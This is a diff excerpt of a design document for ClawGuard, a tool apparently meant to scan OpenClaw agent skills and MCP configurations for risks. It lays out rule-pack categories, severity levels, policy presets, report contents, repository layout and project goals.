+
requiredActions: ["sandbox", "manual-review", "declare-permissions"]
|
|
158
|
+
}
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
## Rule Packs
|
|
162
|
+
|
|
163
|
+
Core rule packs:
|
|
164
|
+
|
|
165
|
+
- `core-static`: remote code execution, destructive shell, obfuscation, credential access, data exfiltration.
|
|
166
|
+
- `skill-metadata`: missing name/description/version, undeclared env vars, undeclared binaries, undeclared config reads, install metadata mismatch.
|
|
167
|
+
- `openclaw-permissions`: broad tool categories, high-risk workspace paths, sandbox recommendations, skill precedence warnings.
|
|
168
|
+
- `clawhub-supply-chain`: origin metadata, version drift, unsigned or unknown source, install specs, package risk metadata.
|
|
169
|
+
- `mcp-config`: broad MCP tools, unknown command sources, network/system capabilities, token-heavy env injection.
|
|
170
|
+
- `prompt-injection`: instruction hijacking, policy bypass language, credential disclosure instructions.
|
|
171
|
+
|
|
172
|
+
## Risk Model
|
|
173
|
+
|
|
174
|
+
Risk should be explainable before it is clever.
|
|
175
|
+
|
|
176
|
+
Base severity:
|
|
177
|
+
|
|
178
|
+
- `info`: noteworthy but not dangerous.
|
|
179
|
+
- `low`: likely safe but worth visibility.
|
|
180
|
+
- `medium`: could surprise the user or expand trust.
|
|
181
|
+
- `high`: can access secrets, files, network, tools, or external systems.
|
|
182
|
+
- `critical`: can execute remote code, destroy data, silently exfiltrate, or bypass controls.
|
|
183
|
+
|
|
184
|
+
Score factors:
|
|
185
|
+
|
|
186
|
+
- Severity weight.
|
|
187
|
+
- Number of unique findings.
|
|
188
|
+
- Confidence.
|
|
189
|
+
- Capability category.
|
|
190
|
+
- Declared versus observed mismatch.
|
|
191
|
+
- Source trust.
|
|
192
|
+
- Whether sandboxing is available or required.
|
|
193
|
+
- Whether the finding is in executable code, frontmatter, docs, or examples.
|
|
194
|
+
|
|
195
|
+
## Policy Model
|
|
196
|
+
|
|
197
|
+
The policy engine maps scan results into decisions:
|
|
198
|
+
|
|
199
|
+
- `allow`: no action required.
|
|
200
|
+
- `warn`: show risk, allow user to continue.
|
|
201
|
+
- `manual_review`: require human approval.
|
|
202
|
+
- `sandbox_required`: allow only with sandbox or limited tools.
|
|
203
|
+
- `dual_approval`: require two reviewers for enterprise workflows.
|
|
204
|
+
- `block`: do not install or enable.
|
|
205
|
+
|
|
206
|
+
Presets:
|
|
207
|
+
|
|
208
|
+
- `personal`: warn on medium, block critical.
|
|
209
|
+
- `governed`: review medium, sandbox high, block critical.
|
|
210
|
+
- `enterprise`: review medium, dual approval high, block critical and undeclared sensitive access.
|
|
211
|
+
|
|
212
|
+
## OpenClaw Workspace Model
|
|
213
|
+
|
|
214
|
+
OpenClaw skill precedence matters. A workspace skill can override a managed or bundled skill. ClawGuard should eventually scan and display:
|
|
215
|
+
|
|
216
|
+
- All visible skill locations.
|
|
217
|
+
- Duplicate skill names.
|
|
218
|
+
- Effective winning skill by precedence.
|
|
219
|
+
- Skills enabled by agent allowlists.
|
|
220
|
+
- Skills shipped by plugins.
|
|
221
|
+
- Skills loaded from extra directories.
|
|
222
|
+
|
|
223
|
+
This becomes the foundation for an `openclaw doctor` style companion command:
|
|
224
|
+
|
|
225
|
+
```bash
|
|
226
|
+
clawguard openclaw scan-workspace ~/.openclaw/workspace
|
|
227
|
+
```
|
|
228
|
+
|
|
229
|
+
## ClawHub Model
|
|
230
|
+
|
|
231
|
+
ClawGuard should consume ClawHub metadata when available, but should not rely on it as the only authority.
|
|
232
|
+
|
|
233
|
+
Useful ClawHub signals:
|
|
234
|
+
|
|
235
|
+
- Skill slug, version, tag, changelog, origin, and lockfile state.
|
|
236
|
+
- `metadata.openclaw` runtime requirements.
|
|
237
|
+
- Install specs such as `brew`, `node`, `go`, or `uv`.
|
|
238
|
+
- Package family, trust, capability, compatibility, and source metadata.
|
|
239
|
+
- Registry moderation and report status if exposed by API later.
|
|
240
|
+
|
|
241
|
+
ClawGuard should compare registry declarations with local bundle behavior.
|
|
242
|
+
|
|
243
|
+
## Reports
|
|
244
|
+
|
|
245
|
+
Every report should include:
|
|
246
|
+
|
|
247
|
+
- Target path and target kind.
|
|
248
|
+
- Source and metadata if available.
|
|
249
|
+
- Files scanned and skipped.
|
|
250
|
+
- Risk score and policy decision.
|
|
251
|
+
- Findings grouped by severity and category.
|
|
252
|
+
- Evidence with file and line.
|
|
253
|
+
- Recommendations.
|
|
254
|
+
- Limitations and scan options.
|
|
255
|
+
|
|
256
|
+
Machine-readable reports should preserve stable finding IDs so suppressions and trend tracking work over time.
|
|
257
|
+
|
|
258
|
+
## Repository Shape
|
|
259
|
+
|
|
260
|
+
Near-term repo shape:
|
|
261
|
+
|
|
262
|
+
```text
|
|
263
|
+
clawguard/
|
|
264
|
+
+-- src/
|
|
265
|
+
| +-- cli.js
|
|
266
|
+
| +-- scanner.js
|
|
267
|
+
| +-- rules.js
|
|
268
|
+
| +-- parsers/
|
|
269
|
+
| +-- policy/
|
|
270
|
+
| +-- reporters/
|
|
271
|
+
| +-- integrations/
|
|
272
|
+
+-- test/
|
|
273
|
+
+-- examples/
|
|
274
|
+
+-- docs/
|
|
275
|
+
+-- .github/workflows/
|
|
276
|
+
```
|
|
277
|
+
|
|
278
|
+
Long-term package shape:
|
|
279
|
+
|
|
280
|
+
```text
|
|
281
|
+
clawguard/
|
|
282
|
+
+-- packages/
|
|
283
|
+
| +-- core/
|
|
284
|
+
| +-- cli/
|
|
285
|
+
| +-- action/
|
|
286
|
+
| +-- mcp-server/
|
|
287
|
+
| +-- web/
|
|
288
|
+
+-- fixtures/
|
|
289
|
+
+-- docs/
|
|
290
|
+
+-- examples/
|
|
291
|
+
```
|
|
292
|
+
|
|
293
|
+
Stay single-package until the code is large enough to justify splitting. A clean monolith is better than a premature monorepo.
|
|
294
|
+
|
|
295
|
+
## Non-Goals
|
|
296
|
+
|
|
297
|
+
- Do not fork OpenClaw.
|
|
298
|
+
- Do not replace ClawHub.
|
|
299
|
+
- Do not claim a clean scan proves safety.
|
|
300
|
+
- Do not execute untrusted code for analysis.
|
|
301
|
+
- Do not build a giant agent framework inside ClawGuard.
|
|
302
|
+
- Do not collect user skill data by default.
|
|
303
|
+
|
|
304
|
+
## Success Criteria
|
|
305
|
+
|
|
306
|
+
ClawGuard is strong when:
|
|
307
|
+
|
|
308
|
+
- A developer can run it in under one minute.
|
|
309
|
+
- A maintainer can add it to CI without learning OpenClaw internals.
|
|
310
|
+
- A user understands why a skill is risky.
|
|
311
|
+
- A security reviewer can see exact evidence.
|
|
312
|
+
- An OpenClaw contributor sees it as a useful companion, not a competing platform.
|